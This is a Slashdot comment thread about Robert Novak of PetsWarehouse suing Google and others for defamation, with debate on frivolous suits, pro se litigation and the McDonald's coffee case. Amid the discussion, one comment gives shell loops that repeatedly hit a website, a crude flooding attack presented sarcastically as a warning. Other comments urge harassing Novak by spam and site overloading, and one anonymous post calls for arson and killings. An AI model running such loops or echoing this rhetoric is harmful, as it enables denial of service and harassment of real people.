    I'll bet tons of unscrupulous bots traverse slashdot every day looking for email addresses. Too bad that they will get this one now (or pet@petswarehouse as was posted in the main story). Yeah, damn shame. I sure hope none of these bots are for NAMBLA magazine, or some weird goatse-like mailing list. Or I hope that none of you weird slashdotters sign him up for magazine subscriptions or for various email lists. Or give his work phone number to some telemarketing group.That would just be wrong. So don't do it. He doesn't deserve it.

    *beeeeeeeeeeeeep*

    Oops, my sarcasm detector just went off, gotta go.

    --

    My beliefs do not require that you agree with them.

    1. Re:That's a shame by Fjord · · Score: 5, Interesting

      I wonder if there really are bots crawling here. Only one way to find out:

      slashbottest@quickp.ath.cx

      --
      -no broken link
    2. Re:That's a shame by mrmag00 · · Score: 1

      +4 interesting for an email?

      im goanna cash in on this one.

      jsmith@jsmithco.com

  130. Costing him nothing? by sheetsda · · Score: 3, Insightful

    Robert Novak is representing himself in this lawsuit, and thus it is effectively costing him nothing to persue this campaign of harassmentIANAL, so correct me if I'm wrong, but if his lawsuits are found frivolous doesn't he have to pay the legal bills of the people he's suing? If thats the case it seems all he's doing is committing financial suicide. Large companys like Google tend to have lawyers by the boatload and given that he's representing himself it's a pretty good bet that no lawyer will touch the case (read: he's got nothing on them).

    1. Re:Costing him nothing? by Anonymous Coward · · Score: 1, Informative
      From the Consolidated New York Laws on findlaw:
      S 8303-a. Costs upon frivolous claims and counterclaims in actions to recover damages for personal injury, injury to property or wrongful death.

      (a) If in an action to recover damages for personal injury, injury to property or wrongful death, or an action brought by the individual who committed a crime against the victim of the crime, and such action or claim is commenced or continued by a plaintiff or a counterclaim, defense or cross claim is commenced or continued by a defendant and is found, at any time during the proceedings or upon judgment, to be frivolous by the court, the court shall award to the successful party costs and reasonable attorney`s fees not exceeding ten thousand dollars.

      (b) The costs and fees awarded under subdivision (a) of this section shall be assessed either against the party bringing the action, claim, cross claim, defense or counterclaim or against the attorney for such party, or against both, as may be determined by the court, based upon the circumstances of the case. Such costs and fees shall be in addition to any other judgment awarded to the successful party.

      (c) In order to find the action, claim, counterclaim, defense or cross claim to be frivolous under subdivision (a) of this section, the court must find one or more of the following:

      (i) the action, claim, counterclaim, defense or cross claim was commenced, used or continued in bad faith, solely to delay or prolong the resolution of the litigation or to harass or maliciously injure another;

      (ii) the action, claim, counterclaim, defense or cross claim was commenced or continued in bad faith without any reasonable basis in law or fact and could not be supported by a good faith argument for an extension, modification or reversal of existing law. If the action, claim, counterclaim, defense or cross claim was promptly discontinued when the party or the attorney learned or should have learned that the action, claim, counterclaim, defense or cross claim lacked such a reasonable basis, the court may find that the party or the attorney did not act in bad faith.

    2. Re:Costing him nothing? by sik+puppy · · Score: 2

      don't remember who to credit the quote to:

      "A lawyer who represents himself has a fool for a client."

      --
      The first thing we do, let's kill all the lawyers. Shakespeare, Henry VI, Part 2, Act 4, Scene 2
  131. From your bash prompt... by Anonymous Coward · · Score: 0

    You should NOT enter something like this:

    until false; do links -dump http://www.domain.com > /dev/null ; sleep $(( RANDOM / 1024 + 1 )); done

    And if you run 'lynx' instead of 'links', you should also NOT enter something like this:

    until false; do lynx -source http://www.domain.com > /dev/null ; sleep $(( RANDOM / 1024 + 1 )); done

    I don't think Pets Warehouse or anyone else would appreciate someone doing that. I just want to be very clear about what you should NOT do.

  132. the real issue by Raven42rac · · Score: 2

    Is it just me, or should not the implied poor service be the main focus of Pet's Warehouse's concern right about now? As a BUSINESS they should be more concerned about pleasing their customers, rather than what "BOB2469" has to say about them in a board somewhere. I mean, they are in business to make money, and if they are not, should'nt they be?

    --
    I hate sigs.
  133. Hey! by RatBastard · · Score: 2

    Speaking as a trained, certified, and licesned RatBastard, I take offence to this post. Do not paint me with your broad brush, sir!

    --
    Boobies never hurt anyone. - Sherry Glaser.
  134. He will have to sue himself. by Anonymous Coward · · Score: 0

    Take a look at the forms of his website. They are getting interesting. I am afraid he is going to have to sue himself now.

  135. I notice on his website... by Simon+Brooke · · Score: 4, Funny
    that there's currently a user contributed story entitled 'Robert Novak ate my baby!'. No, I didn't put it there. But I can't help wondering if he will now have to sue himself, seeing his own site is carrying defamatory remarks about him.

    Life is tough when you're a litigious numpty.

    --
    I'm old enough to remember when discussions on Slashdot were well informed.
    1. Re:I notice on his website... by Anonymous Coward · · Score: 0
      Hey can also be sent web-messages giving your opinions of the case here (username 'test' password 'test'):

      Just click on the "Start a private topic with Bob." link.

      He also has quite a few other boards here, (username 'test', password 'test') and if you are "passionate about animals" you are encouraged to post!

  136. Google was a bad idea... by phorm · · Score: 1

    I think that Google is big enough to spend the bucks on this. Let's hope they decide to put on the hurt then. I'd imagine that they find Mr. Novak's case rather repugnant, and wouldn't mind in the least backlashing against him as a deterrent to others who might have similar ideas.

    Think anyone could get him to sue Microsoft or someone else ginormously large. In that case, we probably wouldn't hear any lawsuits from him in quite a awhile, unless it was over somebody defaming the cardboard box he'd end up living in.

  137. What would happen... by Chessucat · · Score: 0

    ...if Mr. Novack sued a homeless man for making deflametory comments against his person and his so-called business? His ignorance really amazes me!

    selah oderint dum metuant

    --
    "I'm a dirty white tomcat, enter my world..."
  138. any lawyers out there: help us honeypot this ass.. by Anonymous Coward · · Score: 0

    One thing I remember about him is that he files local suits in florida. His (small, non-google) defendants have to travel there to even appear; one of the many reasons that some of them have chosen to cave.

    I myself have thought of hosting a page expressing my right to call him an asshole of the highest order. However, if he sued /me/ I wouldn't really have the means to travel down there and countersue him for barratry (excessive suit-filing; akin to legal harassment). Would it be possible for me (and many other like me) to force HIM to show up in our local courts...any legal leg to stand on here?

  139. Slashdot readers making an impact by KingPrad · · Score: 1

    You just have to love that the homepage lists the subjects of new forum messages, including "Robert Novak ate my baby!". Clearly the few Slashdot readers that get through the massive Slashdotting have gone on the offensive. To the forum lads! Trash Novak and protect beloved Google and other innocent sites!

    --
    Stop the Slashdot Effect! Don't read the articles!
  140. BBB by Anonymous Coward · · Score: 0

    The Better Business Bureau gives PetsWarehouse an unsatisfactory rating. Does that mean they can get sued too?

    I will be sure to alert everyone I know to not do business with petswarehouse.com.

    1. Re:BBB by lunaticmaster · · Score: 1

      petwarehouse though is a good business. I have never ordered from petswarehouse, and never plan to.

  141. will he be suing the BBB next? by night_flyer · · Score: 5, Informative

    PetsWarehouse BBB Rating
    The Better Business Bureau of Metropolitan New York, Inc. has provided an unsatisfactory rating, the Bureau's lowest, for PetsWarehouse. The BBB site states:

    "This firm operates an affiliated business on the internet offering products through its Copaigue location. This firm has received 21 complaints in the last 36 months, of which 11 of those 21 complaints were filed in the last 12 months. Complaints to the Bureau have alleged: 1) nondelivery of ordered merchandise and 2) credit or billing problems. This firm has a pattern of not responding to complaints to its attention by the Bureau."

    --


    Thanks to file sharing, I purchase more CDs
    Thanks to the RIAA, I buy them used...
    1. Re:will he be suing the BBB next? by i0lanthe · · Score: 4, Interesting
      will he be suing the BBB next?

      ding! give that user a banana!

      Long Island Business News reports:
      Novak, meanwhile, said he has further legal targets. One is the Better Business Bureau of Metropolitan New York. The BBB gives Pets Warehouse an "unsatisfactory rating," the organization's lowest. Novak said some of the complaints were from another business that licensed the Pets Warehouse name and that he didn't get adequate opportunity to respond.
      --
      "The Crystal Wind is the Storm, and the Storm is Data, and the Data is Life"
    2. Re:will he be suing the BBB next? by Alizarin+Erythrosin · · Score: 2

      Why isn't the BBB just laying the smackdown on this guy then? They're a government agency right? It's not like the federal government doesn't have any lawyers, or funds to get one! This should already be settled or thrown out.

      --
      There are only 10 kinds of people in this world... those who understand binary and those who don't
    3. Re:will he be suing the BBB next? by topham · · Score: 2

      BBB in Canada and the United STates doesn't actually have any power.

      They can delist a company as a member. woopee.

      BBB is a farce. Up here they don't even issue updated certificates. The store gets a plaque and a sticker that says 'current' instead of a year.

      useless.

  142. Is there a "Pro Se For Dummies" out there? by Deagol · · Score: 3, Interesting
    I remember about 10 years ago, I was watching some daily rag show (Entertainment Tonight, or maybe Hard Copy). Anyway, there was some story about some bimbo-former-housewife-turned-amature-litigator. She made her living my suing freakin' everybody around her and getting them to settle. She sued a family because the kids (a few doors down) were playing basketball in the driveway too loud, and it distressed her. I remember the poor father (paraphrased), "I hate the idea of settling, but we just can't afford a lawyer..."

    If some wench with a few hours' paralegal experience can cause problems, why can't the average Joe use the same technique in defense?

    In spite of the saying "a man representing himself has a fool for a client", I assume a person with nothing to loose should be able to defend himself.

    Take me, for example. I make a modest salary, have a home, wife/kids, car etc. I'd be hard pressed to come up with more than a grand or two to retain a lawyer if I were ever sued. For a civil suit like this, what could I really loose? I can't fathom a judge forcing a family out on the street, or taking their only means of transport. Can a judgement that would make a family destitute really be made against them? (Cite/link example, if there are, please.)

    Obviously, IANAL. I'm just curious. Is the only option for us middle class folk to either settle for what we can afford or start a defense fund? I can't accept that -- it says that society sucks far more than I currently believe.

    Would some lawyer (or someone who's gone the pro se route) speak up. An online resource (one really geard towards pro se defense) would be awesome.

    1. Re:Is there a "Pro Se For Dummies" out there? by i0lanthe · · Score: 2

      If some wench with a few hours' paralegal experience can cause problems, why can't the average Joe use the same technique in defense?

      Or, indeed, hire Marcus "LawGuy" Arnold.

      (aw, you remember, the #1-rated "legal expert" on AskMe who was 15 years old at the time and learned it all from TV)

      --
      "The Crystal Wind is the Storm, and the Storm is Data, and the Data is Life"
    2. Re:Is there a "Pro Se For Dummies" out there? by Anonymous Coward · · Score: 0
      Can a judgement that would make a family destitute really be made against them?

      IANAL, but that's what bankruptcy is for. A judge can order you to pay more than you have. You can then file for bankruptcy to avoid being forced out on the street.
    3. Re:Is there a "Pro Se For Dummies" out there? by AMNESIACX · · Score: 0

      This sounds like a job for Lionel Hutz.

      --
      "It's not just what you say, no it's mostly how you feel it." - Tim Buckley.
    4. Re:Is there a "Pro Se For Dummies" out there? by 0x0d0a · · Score: 2

      Yes, but he can waste your time by making you go to court. You have to pay to travel to the court -- he's five miles away.

  143. slashdotted by FuzzyBad-Mofo · · Score: 1

    Good job, now the scumbag will probably try to sue /. for DDOSing his pathetic web site!

  144. I really hope by Unknown+Poltroon · · Score: 3, Funny

    No web based busisness ever tries to sue slashdot. I mean, come on, we regularly melt down the servers of people we LIKE. Imagine what a force for doom this buncha angry geeks could be if focused.

    --
    All Troll + "offtopic" mods are meta moderated as "Unfair", because you abused the system.
    1. Re:I really hope by Anonymous Coward · · Score: 0

      All Troll + "offtopic" mods are meta moderated as "Unfair", because you abused the system.

      You know that doesn't make any sense, right? Each mod can only moderate a post once.

    2. Re:I really hope by Unknown+Poltroon · · Score: 1, Offtopic

      Yeah, i know it dosent make much sense, but i get some bizzarre feeling of satisfaction when i metamoderate ALL of them as poor.

      --
      All Troll + "offtopic" mods are meta moderated as "Unfair", because you abused the system.
  145. Idea to help the little guys... by ChuckMaster · · Score: 1

    Have a government/academic program where small companies under a fixed earnings or personelle can elect to appoint law students who seek internships. The law students get experience in the field and the companies have more than a shot in hell. Ambitious student will want to take on the bigs guys and will do it cause they're hungry to get in the game.

  146. Moron Assault Fund by Ikazuchi · · Score: 1

    Dammit...I'm gonna put together the Monor Legal Assault Fund, to go after fools like this who insult me just by saying they're a member of the same species as me.

    These people take up my tax dollars, inflict mental anguish upon and I am offended by their ridiculous claims that waste my oxygen (so they both offend me and are stealing from me, though if they're using up my oxygen I guess I could also claim attempted murder).

    Someone really needs to start just going after people who make their living off of frivolous lawsuits or just plain stupid ones and legally beat the offender down. Do this as often as possible and alot of these suits would not be happening.

    Either that or judges just need to start throwing out such cases on the ground of stupidity.

    --
    Hitomi Ikazuchi Dragon Clan Barbarian Monk
  147. I like it by nuggz · · Score: 2

    I really like your approach, and I think that is the general idea of how it should work.

    Someone makes a claim, they sue, the judge determines if #1 they did it, #2 what they did was wrong.
    Then #3 assigns an appropriate damage/punishment.

    I don't think there is a fair way to prescreen, except perhaps on #2, but for most people just the threat of a suit is enough to dissuade them.

    1. Re:I like it by Fjord · · Score: 2

      True. One thing that does add some balance to the system is that you can counter sue for frivilous lawsuits. I'm surprised that many people have not countersued this person into submission.

      --
      -no broken link
    2. Re:I like it by nuggz · · Score: 2

      It might be quite hard to prove that not only was it a frivilous suit, but that that they did this maliciously.
      If it is easy to prove this, they could recounter your suit saying they had reasonable grounds for their first and your second is just to harrass them.

      Make it hard to prove they get off, make it easy, and the suits will run around in circles till you lose more money.

      It's a shitty system, but better then the alternative.

    3. Re:I like it by Fjord · · Score: 2

      AFAIU, you can't counter-countersue. A countersuit is named along with the suit, and both are tried in the same court at the same time. You can add "frivilous lawsuit" to any suit without fear, and should, since if you don't you forfeit you ability to sue this way (you can't at the end of a trial in your favor say to the judge, oh, I have these claims can you look at them).

      Also, you don't have to prove malicious intent. Actually, since it is civil court, you don't have to prove anything. However, a frivilous lawsuit is different from a malicious one. All you have to do is show that there are unreasonable claims in the suit with respect to the law, and it actually isn't that hard to show in the cases where it is appropriate.

      For example, the people who wrote the original messages wouldn't be able to do it (probably), since they said things and them saying things is reasonably part of a claim for slander (even if it turns out that their statements weren't slander). But the people who were sued because they had advertisements for the legal fund for the defense, well, they could easily counter sue because there is no reasonable claim w.r.t. law regarding getting support for a legal fund. You could have these ads for the "shoe bomber's" legal fund and there's no legal action someone can take against you.

      In addition, you can pull in the fact that the other suits were filed as support for your position. I suspect the google team will do this.

      IANAL

      --
      -no broken link
  148. so many people talk about /. getting sued... by buswolley · · Score: 1
    It is getting redundant. But i think that /. should seek to get sued by Navac.

    Even go so far as notify Novak of our slander.

    What great /. fun we would have as we pooled our resources to fuck him in the ass.

    Besides, it is a great political statement for freedom of speech, and probably is worthy of /. to do. What do you think?

    (wink)It would be fun, wouldn't it?

    --

    A Good Troll is better than a Bad Human.

  149. I've had enough by Anonymous Coward · · Score: 0

    This will not be tolerated in our free country. Its about time someone firebombs Pets Warehouses and assassinate top executives and lawyers. Someone must re-establish justice. The only way to save this country is by killing everyone who seek to destroy it. Every customer of Pets Warehouse will be killed in their homes. Every stockholder of the company will be gased. Everyone who ever sided with these companies will be brutally massacared. If we don't act now, there will not be much of an America perserve.

    1. Re:I've had enough by ylikone · · Score: 0
      Oh yes, I quite agree... killing rampage time.

      (i hope this guy is kidding)

      --
      Meh.
  150. Forum on the home page? by Theatetus · · Score: 1

    How odd that petswarehouse.com includes a "forum" on its front page with posts about the lawsuit and detrimental comments about Novak. Maybe he's going to sue himself next?

    "Your honor, I demand that I pay myself 1 million dollars and sign over my own domain name to myself..."

    --
    All's true that is mistrusted
  151. Mhhuahahaha by oval_pants · · Score: 1

    Slashdot better watch out. They might be next on the legal list, for "Slashdotting".

    Or maybe posting follow-up updates EVERYDAY would help people "understand" the situation more clearly.

    1. Re:Mhhuahahaha by Mysticalfruit · · Score: 1

      Yeah I could see that happening. As soon as it hit the presses that some company was going to sue Slashdot, that person/entities ISP would call them and say "Dude, were yanking your site, unless you'd like to start paying us 10,000 dollars a second. Also we need you to hire about 50 people to repair all the damage ./'ers are going to inflict on our network."

      Lilly is to Lousiana what the slasheffect is to Novak's site... When it's all said and done its going to be messy and expensive.

      --
      Yes Francis, the world has gone crazy.
  152. My Ferret wants a word with you by dogfart · · Score: 2, Funny
    I was discussing this article with my pet ferret, named Ripper. He was very upset at the idea, and wanted to do something about it. After assuring him that ferrets have no standing in civil court and hence cannot be sued, Ripper decided to tell his closest ferret friends, Stinky and Crabby. They in turn got the word out throughout the domesticated ferret community and decided to organize a mass protest, just like human beings used to do during the 1960's. They felt that demonstrating in front of Mr. Novak's home would be the most useful tactic, as it would draw media attention to their cause and let Mr. Novak know what a bad, bad person he is.

    Mr. Novak, if I were you I would keep my windows shut and my door locked. If someone knocks at your door do not answer it. Instead you should hire a professional arbitrator and have this skilled individual personally negotiate with the ferrets. Believe me, I know Ripper, Stinky, and Crabby personally. You had better not mess with them!

    THE FERRETS UNITED WILL NEVER BE DEFEATED!

    --

    "dope will get you through times of no money better than money will get you through times of no dope"

    1. Re:My Ferret wants a word with you by sik+puppy · · Score: 2

      I just noticed that his webpage WAS on my ferret list of sites.

      I prefer theferretstore.com

      however it sounds like your ferrets have been borrowing your pc the way my 4 have...

      i keep finding my web browser on:
      http://home1.gte.net/wrenched/weezil.htm

      --
      The first thing we do, let's kill all the lawyers. Shakespeare, Henry VI, Part 2, Act 4, Scene 2
  153. one way to fight this guy by dubiousmike · · Score: 2

    is to ./ dot him every day for as long as we can. Maybe he'll give up his crap if his site can't make any money.

  154. Re:No, its O.K by vsavatar · · Score: 1

    Whoa, hold on there... Now, there are laws in the United States that have to deal with libel and slander, and your post violates the law regarding slander because you are accusing him of committing criminal sexual conduct with a minor (child molestation). Accusing someone of a criminal charge falsely (even if in jest) is considered slander.

    Now if you said that he's an asshole, a jerk, a moron, an idiot, an abuser of the court system, a loser, a stupid motherfucker, dumbass, etc. then you're ok (and you'd be right too) because you have a right to express that kind of opinion about someone as long as you aren't threatening any violence or other harm towards them. By the way, if the stupid dumbfuck reads this message and wants to sue me, send me an email at darkraven26@hotmail.com and I'll tell you where to send the paperwork. I work for a company that does technical service for several quite well known lawfirms (which is how I get a lot of the legal knowledge I have), quite a few of which would be more than willing to defend me and also countersue for whatever legal costs are incurred as a result of a frivolous lawsuit.

  155. what is right by www.sorehands.com · · Score: 4, Insightful
    Usually it is the large corporation trying to silence little people.


    Novak is a pathetic moron. If he comes after me, I will drop him like a bad habit. He already read the mention of him on my site.


    Part of the problem is that the people did settle instead of filing a motion to dismiss or a summary judgment motion. I can understand why they would settle for a nuisance amount. If a motion for summary judgment had been done, the case would have been kicked.

    1. Re:what is right by cgadd · · Score: 2, Insightful

      > Part of the problem is that the people did settle instead of filing a motion to dismiss or a summary judgment motion. I can understand why they would settle for a nuisance amount. If a motion for summary judgment had been done, the case would have been kicked.

      NOT TRUE at all. All those involved did attempt to fight it, at least for a while. Several motions have been submitted, but none have even been acted on yet. Meanwhile, the costs just to respond to the various filings and amendments continue, especially for those outside the state of NY.

      The wheels of justice move VERY slowly, and the defendants suffer because of it.

  156. Just to change the subject.... by Amazing+Quantum+Man · · Score: 2

    Remember, he's in the business of suing people,

    Hey, maybe after he beats Google, he could help Bernard Shifman! :-)

    --
    Fascism starts when the efficiency of the government becomes more important than the rights of the people.
  157. On-site "Harasment" by PixelPixie · · Score: 0

    If you go to the pets warehouse website and look under the "New Forum Messages", section "Welcome"
    someone thought it would be funny to post , shall we say "raw" comments about the company.

    the comments themselves are pretty funny, but the person responsible should be carefull. wouldn't want to have them sued for an opinion.

  158. One thing you need to address... by JaredOfEuropa · · Score: 2

    ...Punitive damages! Punitive damages awarded to victims by idiot juries, are fuelling the hunger for litigation. Since lawyers sometimes get a cut of the amount awarded, they do notvstop short of bullying otherwise uninterested victums into sueing.

    Solution: Do away with punitive damages. Or, if you feel that lawbreaking firms have to hurt sometimes, levy a fine instead of punitive damages. The fine goes to the state, not the victim.

    Over here, there is no such thing as punitive damages. One can only sue for real and quantifyable damage. The most intangible thing one can sue for is mental anguish, but the amounts awarded for those are tiny, and usually are only to cover psychiatric help to overcome this anguish, not as some sort of monetary compensation for suffering. The result? There are no cases in my countries legal history, of people sueing because they spilled hot coffee on their leg, tried to dry a poodle in the microwave, or any of that sort of idiocy.

    Compensate your victims instead of rewarding them, and people will be less inclined to sue over anything and everything.

    --
    If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
    1. Re:One thing you need to address... by enjo13 · · Score: 1

      Amen..period.

      --
      Turn s60 photos into awesome videos with mScrapbook for all S60 3rd edition phones!
    2. Re:One thing you need to address... by MillionthMonkey · · Score: 5, Insightful

      Over here, there is no such thing as punitive damages. One can only sue for real and quantifyable damage. [stuff deleted] The result? There are no cases in my countries legal history, of people sueing because they spilled hot coffee on their leg, tried to dry a poodle in the microwave, or any of that sort of idiocy.

      The McDonald's case is a bad example- do a Google search. When people talk about tort reform they always trot out this overhyped example, as if there are no better ones to use.

      That lady was originally willing to settle for $20,000 to cover medical expenses for the skin grafts, because she was broke and couldn't afford the medical bills. McDonald's made a counteroffer of $800 and refused to admit any responsibility or to adjust their thermostats. A mediator recommended settling for $225,000, but McDonald's refused and went to trial.
      What inflamed the jury was the fact that McDonald's had done a risk-benefit analysis on this issue. Several hundred people had gotten burned by the coffee, and at least one burn center had requested that McDonald's turn its coffee down. But overheating the coffee improved the aroma and allowed the use of a cheaper, inferior grade of beans. (When the coffee is burning your mouth you can't taste it.) McDonald's had concluded that the risk from settling the occasional suit would not offset the profits they would make from higher sales.

      It also didn't help McDonald's that they were caught lying about this and the existence of the other claims in court. The jury set compensatory damages at $200,000 minus $40,000 for the lady's own contributory negligence, and then added the cost of two days' of coffee sales- which turned out to be $2.7 million. A judge lowered that to $480,000 and it was finally settled for an undisclosed amount.

      The poodle in the microwave appears to be an urban legend. Maybe you can provide a link to a believable reference. But to me this looks like you've got issues with stupid old ladies.

      Be warned that the media is extremely willing to overhype anecdotes of individuals abusing their rights to sue corporations. In fact those cases get pounced upon, like when that fat guy brought that moronic suit against fast food restaurants for making him fat. We got saturation coverage of that case. But these things go both ways. Abuses of the legal system by litigious corporations against individuals (and other corporations) are just as frequent, but they don't receive as much media attention, nor are they presented as evidence that the system is broken and in need of legislative reform.

    3. Re:One thing you need to address... by muzthe42nd · · Score: 1

      http://www.stellaawards.com/ is a mailing list that sends out examples of TRUE silly cases of a truly mucked up court. or something, damn my crappy english

      --
      Pfft - Sorry, what?
    4. Re:One thing you need to address... by JaredOfEuropa · · Score: 2

      Okay, bad examples, you are right. I could have sworn that I remembered reading about the microwave poodly lady bringing a suit against the manufacturer though.

      When people talk about tort reform they always trot out this overhyped example, as if there are no better ones to use.

      It is the one that everyone knows about though. To be sure, many of these cases are overhyped. The fact is that in any reasonable court, there wouldn't have been any questions about silly damages of $200.000 or $2.7 million, or settlements of $225.000. The only questions would have been: how much real damage did the lady suffer (medical bills and legal fees), and was McDonalds wholly or partly responsible for this mishap? I stand by my arguments...

      --
      If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
    5. Re:One thing you need to address... by ajs · · Score: 2

      Man! I agree with you and your post makes me want to argue against it....

      I think what you want to say is this:

      In cases such as ignorning a burn center's request to lower the temp on your coffee because your market research shows that the burn cases won't cost you as much money as you save buying cheap beans, there's clearly a certain amount of neglegence.

      Then the question becomes is that neglegence criminal? If we had an effective process for going after such cases and prosecuting them a criminal neglegence cases rather than relying on the victims to launch a civil case, then it would be entirely reasonable to remove punative damages. But, somehow we got it in our heads that making someone "pay" meant litterally setting a price tag on any given transgression.

    6. Re:One thing you need to address... by siskbc · · Score: 1

      I still say this is the only supposedly egregious decision I agreed with. What would have happened if the lady had used the product as intended? Gotten third degree burns along her esophagus?

      --

      -Looking for a job as a materials chemist or multivariat

    7. Re:One thing you need to address... by Anonymous Coward · · Score: 1, Insightful
      I remember when that McDonalds coffee case came up. I was working in a family deli/grocery store. Where we serve coffee all day. When I heard about the decision, I took a commercial oven thermometer, and measured the coffee temperature from a freshly brewed cup of coffee, along with the temperature of a cup of coffee that had been sitting on the burner for about a half hour. I also took measurements of the coffee as it poured from the basket, and from the inside of the coffee machine (after the heater turned off, reaching holding temperature). All temperatures were within 2-3 degrees of the temperature of the McDonalds coffee case.

      I normally drank several cups of coffee during the mornings at that time. So I waited for the coffee to cool to the temperature suggested by the plaintiff's attorney (as safe), then tried it. I also did the same with two customers. One customer lived across the street, and was there every morning, and took his coffee black, no sugar, at a certain time every morning (he took same bus every morning to work). A second customer stopped every morning for coffee after picking up truck on job (he fixed the turn signals and street lights).

      With both of these customers, I knew that they would drink coffee immediately (turn signal electrician drank coffee in truck while sitting in bus stop in front of deli every morning, while waiting for his coworker in other truck to catch up to him) and other customer drank coffee in deli every morning while reading paper, talking to me, and waiting for bus.

      Results?

      Both customers complained of cold coffee. I also noticed coffee was cold compared to normal. Not 40 degrees, but we all know what a cold cup of coffee is, don't we?

      Try doing this in the winter, when a cup of coffee drops ten degrees (from the plaintiff's lawyer's suggested temperature) while walking two blocks to train station before drinking it. Don't believe it? Actually try it. You can buy a commercial meat thermometer at any restaurant supply for less than $10.

      I did this test to find out whether my family's small grocery store would be liable in case anyone ever spilled coffee in their lap after buying coffee from my family. I even went to the trouble of making sure thermometer was accurate by having a friend who owns an environmental testing laboratory (and who has NIST traceable thermometers) double check the accuracy of the thermometer. It was accurate within two degrees from a NIST thermometer comparison.

      What did this tell me? That the coffee machines used in virtually all deli/grocery stores in NYC meet or exceed the McDonalds temperature case. These coffee machines are manufactured mostly by one of a handful of manufacturers locally. There was no temperature regulator visible on the machine we used, and I turned that baby upside down weekly to drain all water out of reservoir to clean it out. There was no visible temperature control accessible to end user. Why didn't the manufacturer lower the temperature at the factory? Why, so their customers could sell cold coffee? How long would they stay in business?

      Unless the grocer is a complete idiot, when you buy coffee from one of the few large distributors of fresh coffee in NYC, you get the coffee machine for free. The not so smart grocers are given a deep discount instead of getting the machine for free, but the result is the same. The machines come from the same manufacturer.

      Shortly after that temp test, I started working in NYC, in a service business. This meant hitting the bagel trucks/stands for coffee every morning. Guess what? The trusty thermometer came with me a few times. Every time, the coffee I bought from the trucks/stands was always at the McDonalds threshold, or slightly (within 5 degrees) lower. The actual safe suggested temperature in the McDonalds case was 20 degrees less if memory is correct. Guess what? No one sells coffee at the temperature the plaintiffs' lawyer suggested as acceptable. If they did, no one would buy coffee from them anymore, and they'd go out of business.

      Check McDonalds coffee temperature now. Bet you it is higher than the temperature suggested by the plaintiff's lawyer. Are they criminals because they decide to stay in the coffee business even though an elderly woman burned herself by spilling hot coffee in her lap while she was driving and couldn't/wouldn't take her cotton pants off to stop the burning? Are we all required to drink cold coffee? Or must McDonalds pay because they have deep pockets, even though the woman has no case if you read what I wrote above?

      In cases such as ignorning a burn center's request to lower the temp on your coffee because your market research shows that the burn cases won't cost you as much money as you save buying cheap beans, there's clearly a certain amount of neglegence.


      Get real. Everything in life is cost benefit. Flying a plane? Everything in the design is cost benefit, or there would be no planes. Driving? everything in the design of the car is cost benefit, or we'd all be driving tanks, if we could afford them. Eat meat? Fish? Ever heard of Salmonella poisoning? Listeria? Do we check every cow? Every fish? A certain amount of poison is allowed to pass. Why? Cost/benefit. Want to get every last trace of naturally occuring arsenic out of drinking water? Would you want to get it out if you had to pay $250 per glass of water? Cost/benefit. Grow up and face reality. And I hope to God you are never on any jury considering a similar case because you obviously can't handle reality.
  159. Good points, but lets talk about this case... by mekkab · · Score: 5, Funny

    Point 1:
    You obviously don't understand how this works... :)
    you are correct, sir! I thought my clarification (IANALBMWISTBO) meant that heretofor be ignored as a raving moron!

    Instead you get paperwork out the wazzo, all billed at 200 dollars an hour. Few companies, every the very rich are willing to even deal with it

    How much paper work does it take for a law firm to send a letter saying "Dear Mr Novak. BRING IT THE FUCK ON. Mr. I Sue-you, esquire"
    He doesn't have a legal leg to stand on.

    lets look at this case- this isn't about SONY who can TOTALLY write off $30mill or that there may be a technical point of merit,
    this is about Mr and Mrs domain name holder standing their ground. Novak is suing pro se, so defend yourself pro se. Counter sue pro se.

    You won't have to argue in front of the judge, s/he will spend too much time ripping Novak a new one for this frivilous shit!

    Yes lawyers are taught that going in front of a judge is the worst thing. But I can't imagine a lawyer saying "wow, this guy is filing all this stuff. I'm scared. Lets' settle!" I see them saying "this is so much bullshit, that I'm gonna try to take my fees directly out of Novak's ass."

    Just becuase Novak files papers doesn't mean it will get past prima facia. You sit on your ass, you don't see 1 day in the court room.

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
    1. Re:Good points, but lets talk about this case... by JordoCrouse · · Score: 1

      Lets pretend that Mr Novak is suing me.

      How much paper work does it take for a law firm to send a letter saying "Dear Mr Novak. BRING IT THE FUCK ON. Mr. I Sue-you, esquire"

      I'm not sure how much paperwork the lawyer generates, I just know that *I* am gonna get charged a couple of thousand of dollars just to have my lawyer read the inital complaint, and even more to handle the response, even if it is just ascii art of a middle finger.

      Yes lawyers are taught that going in front of a judge is the worst thing. But I can't imagine a lawyer saying "wow, this guy is filing all this stuff. I'm scared. Lets' settle!" I see them saying "this is so much bullshit, that I'm gonna try to take my fees directly out of Novak's ass."

      The lawer isn't being sued. I'm being sued. The law firm is just the middle man. He's not scared, because the more time he spends on this case, the more it racks up in legal fees.

      *I* am the one who is gonna look at a thousand billable hours of litigation over the next two years and get scared. After all, if I am running a business, principle goes straight out the window. Either I pay this guy a hundred grand to go away, or I pay the laywers two hundred grand to fight it (and I might lose anyway - you never know. After all, OJ is a free man). Everyone knows that spending $100,000 is much better than spending $200,000.

      --
      Do you have Linux and a DotPal? Click here now!
  160. /. effect. by pclminion · · Score: 5, Funny
    Damn you Slashdotters! I've set my Opera to auto-reload petswarehouse.com every minute, because I'm so interested in seeing Novak's updates on his pending litigation.

    But you /. freakos are maxing out his bandwidth, apparently. Don't any of you DARE set auto-reload on that site! That's MY strategy.

    This reverse-psychology was brought to you by...

    1. Re:/. effect. by 0x0d0a · · Score: 2

      Actually, I'm only seeing 23 ms ping. I believe the ISP (or Novak) has axed the webserver.

      Kind of disappointing.

      Thoughts, anyone?

  161. Citizens should wise up on the law by wackybrit · · Score: 2

    It appears that Mr Novak is representing himself. The guy might actually win something if he used the most manipulative high-powered McBeal, Cage and Fish style lawyers, but on his own he stands no chance. It's totally frivolous.

    The defendants should also defend themselves. Having a lawyer is very important if there's a chance of serious jailtime or the death penalty, or if a ruling could destroy your reputation. In this case, however, the worst they'll get is a fine, and that's if Novak wins which is highly unlikely!

    If I were one of the defendants in the case, I'd make sure I'd wised up on libel laws in the state of trial, and would ask for a set trial date. That way it only intrudes into one day of my work, and the whole thing would probably be done and dusted in a few hours.

    Stupid law suits are easy to get rid of. And once you're done, you can countersue for harassment, and would probably win.

    I think citizens should study law and have an idea of what their own rights are, how a court works, and how they can argue their own cases.

